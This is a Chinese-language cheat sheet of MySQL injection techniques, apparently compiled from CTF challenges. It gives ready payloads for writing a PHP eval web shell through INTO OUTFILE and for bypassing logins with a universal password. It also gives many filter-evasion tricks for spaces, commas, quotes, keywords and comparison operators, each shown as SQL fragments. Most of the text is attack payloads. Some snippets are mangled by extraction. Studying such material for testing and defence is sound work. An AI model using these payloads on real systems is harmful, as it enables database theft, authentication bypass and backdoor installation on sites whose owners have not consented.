mysql的注入技巧
注入方式
以下概念并非并列的,只是举出一些常见的叫法
- insert/update/delete注入(盲注)
- md5加密后注入
- 宽字节注入
- 报错注入
- UDF与攻击存储类似[^1]
- OOB(带外注入)
- false注入
Technique
写入shell
Mysql注入中的outfile、dumpfile、load_file函数详解
secure_file_priv
可以通过命令?
select @@secure_file_priv
- 为空时,对导入导出无限制
- 当值为一个指定的目录时,只能向指定的目录导入导出
- 当值被设置为NULL时,禁止导入导出功能
用select into outfile
或select into dumpfile
(适用于二进制文件,会将目标文件写入同一行内)
PS:写入文件的操作要求目录可写
payload:1
2select 1,’<?php eval($_POST[cmd]);?>‘ INTO OUTFILE ‘/var/www/dvwa/cmd.php’ +- -+
select 1,’<?php eval($_POST[cmd]);?>’ into outfile ‘c:\\2.php’+- -+
column truncation
sql_mode中设置为default或没有开启STRICT_ALL_TABLE选项时,超长也会正常插入
- WordPress 2.6.1
- NJCTF 2017 web100 Login
–“而且我多点几次任然注册成功,因为用户名不能重复的,所以想到这里有长度限制试了下发现是50,所以这样就可以想办法重置admin的密码”
未知字段名注出内容
1 | >select e.4 from (select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d union select * from user)e limit 1 offset 3; |
DDCTF2017 SQL
未知表名盲注
未知字段名,但确定sql的查询操作能在后台的操作中返回(到php)该字段的值
盲注某个记录的一个字段的值,union另外一个,并将order by指向该字段,从小到大,直到报错,
利用order by默认ascii排序的特性,盲注出字段值
HBCTF 沙特阿拉伯-大美西安 Wonderkun
https://blog.csdn.net/xyz123lc/article/details/71429734
LCTF2017 他们有什么秘密呢
要获得的数据在第四个
https://www.cnblogs.com/ur10ser/p/7875473.html
1 | "3 union distinct select 1,2,3,{} order by 4 desc" |
末尾的闭合
引号的优先级要高于分号,所以闭合时也要有所注意
引号闭合
不中断后面语句的执行
1
2万能密码
name=' or ''='&password=注释符
1
2--<空格>
# %23%00
不属于注释符,要加上分号
1
... where name = 'Boris';%00'
过滤绕过
PREPARE语句
在能连续多次执行的场合(mysqli_multi_query),用预处理语句来绕过常见过滤
有点类似于XSS中的String.fromCharCode()
SUCTF 2018 MultiSql
1 | set @s=concat(CHAR(115),CHAR(101),CHAR(108),CHAR(101),CHAR(99),CHAR(116),... |
绕过空格
1 | %20 %09 %0a %0b %0c %0d %a0 %00 /**/ /*!*/ |
- 浮点数
id=8E0union
id=8.0 - 括号
select(user())from
等于号绕过
in
like
having
regexp
between and
1
2
3between 104 and 104
#字符串也可以的
between char(105) and char(105)
if绕过
- IFNULL(expr1,expr2)
假如expr1 不为 NULL,则 IFNULL() 的返回值为 expr1; 否则其返回值为 expr2。
case when [] then [] else []
逗号绕过
substr(),mid(),limit。
这些子句方法都需要使用到逗号。
对于substr()和mid()这两个方法可以使用from for代替逗号select substr(database() from 1 for 1);
select mid(database() from 1 for 1);
select mid((passwd)from(-1)); //绕过逗号和空格,而且从后往前可以忽略长度使用join:
1
2union select 1,2 #等价于
union select * from (select 1)a join (select 2)b使用like:
1
2select ascii(mid(user(),1,1))=80 #等价于
select user() like 'r%'limit中的逗号可以使用offset来绕过:
select from news limit 0,1
等价于下面这条SQL语句
select from news limit 1 offset 0
大于小于号绕过
greatest()、least()
1
select * from users where id=1 and greatest(ascii(substr(database(),0,1)),64)=64
使用between and:
between a and b:返回a,b之间的数据,不包含b。
逻辑运算符
非 (NOT或者!)
与 (AND或者&&)
或 (OR或者||)
异或 (XOR)
位运算
1 | 位与(&)、位或(|)、位非(~)、位异或(^)、左移(<<)、右移(>>) |
关键字过滤
绕过union,select,where等
- 常用注释符:
1 | //,-- , /**/, #, --+, -- -, ;,%00,--a |
大小写绕过
当后台mysql配置大小写不敏感时,可以利用
查看大小写敏感配置
1
show global variables like '%lower_case%';
引号绕过
- 十六进制
- concat(char(),char(),…)
- 预处理语句 set @var=”” prepare
- 宽字节注入
- 二次注入
- 格式化字符串 (snprintf)
- LCTF2017 simple blog
substr 等分割函数
- rpad,lpad,left,right,mid,substring,instr,locate,position替代substr
- reverse,insert
lpad,rpad函数用于填充
lpad(‘hi’,4,’?’) = ‘??hi’
rpad(‘hi’,4,’?’) = ‘hi??’
1 | mysql> select lpad((select database()),1,''); |
参考链接
[^1]: 吴翰清 《白帽子讲Web安全》